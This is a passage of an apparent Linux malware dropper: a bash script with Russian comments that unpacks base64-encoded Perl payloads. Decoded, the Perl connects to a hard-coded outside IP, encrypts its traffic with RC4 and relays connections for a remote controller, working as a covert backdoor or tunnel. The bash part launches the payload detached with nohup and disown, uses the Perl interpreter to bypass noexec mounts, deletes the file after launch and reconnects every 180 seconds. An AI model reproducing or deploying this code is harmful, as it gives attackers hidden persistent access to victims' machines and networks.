4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_0583f1f1() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODAnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKC